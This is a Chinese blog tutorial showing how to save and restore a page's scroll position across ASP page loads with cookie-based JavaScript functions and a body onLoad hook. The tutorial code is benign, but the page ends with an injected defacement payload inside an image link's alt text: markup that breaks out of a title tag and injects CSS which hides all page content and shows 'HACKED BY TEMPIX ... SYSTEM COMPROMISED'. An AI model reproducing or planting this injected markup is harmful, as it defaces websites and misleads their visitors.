有时候我们需要在一个较长的列表中选择并刷新页面,刷新后页面会跳转到最顶部,当需要连续选择的时候就会很麻烦,每次选择后都要滚动到原先位置再选择下一个。
还有在分页程序中,如果一页显示的记录比较多,导致翻页后要滚动屏幕才能点击到翻页按钮,那么每次翻页后都要滚动屏幕,当需要连续翻页的时候就会很麻烦。
在做目录树的时候我们可以用无刷新技术,但是比较麻烦,而且在记录集分页显示的时候用无刷新技术明显是不可能的。
有鉴于此,我通过Cookie实现了保存页面进度条情况,每次跳转后自动跳转到原先进度的功能,希望对一些朋友们有用。
Scroll.asp如下:
<%
‘————————
‘Project By BTwork Studio
‘Code:[BT]Ok
‘Date:2006-4-4
‘————————
%>
<script language=”javascript”>
function SaveScroll()
{
//保存进度条情况
document.cookie = “Scroll=” + escape(document.body.scrollTop);
}
function ReadScroll()
{
//读取进度条情况
var aCookie = document.cookie.split(“; “);
for (var i=0; i < aCookie.length; i++)
{
var aCrumb = aCookie
if (“Scroll” == aCrumb[0])
return unescape(aCrumb[1]);
}
}
function GoScroll()
{
//跳转进度条
var Scroll;
Scroll = ReadScroll();
window.scrollTo(0,Scroll);
}
function ClearScroll()
{
//清空进度条
document.cookie = “Scroll=0; expires=Fri, 31 Dec 1999 23:59:59 GMT;”;
}
</script>
————————————————————————
在页面首部include调用Scroll.asp,然后在修改<body>:
<body onLoad=”<%If Request(“Page”) = 1 Then%>ClearScroll()<%Else%>GoScroll()<%End If%>”>
其中Request(“Page”) = 1是初始化条件,你可根据情况更换。当设定条件成立时将清空Cookie中的进度条。
最后修改翻页的连接:
<a href=”?page=<%=Page+1%>” onclick=”SaveScroll()”>上一页</a>
大功告成,试试吧。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)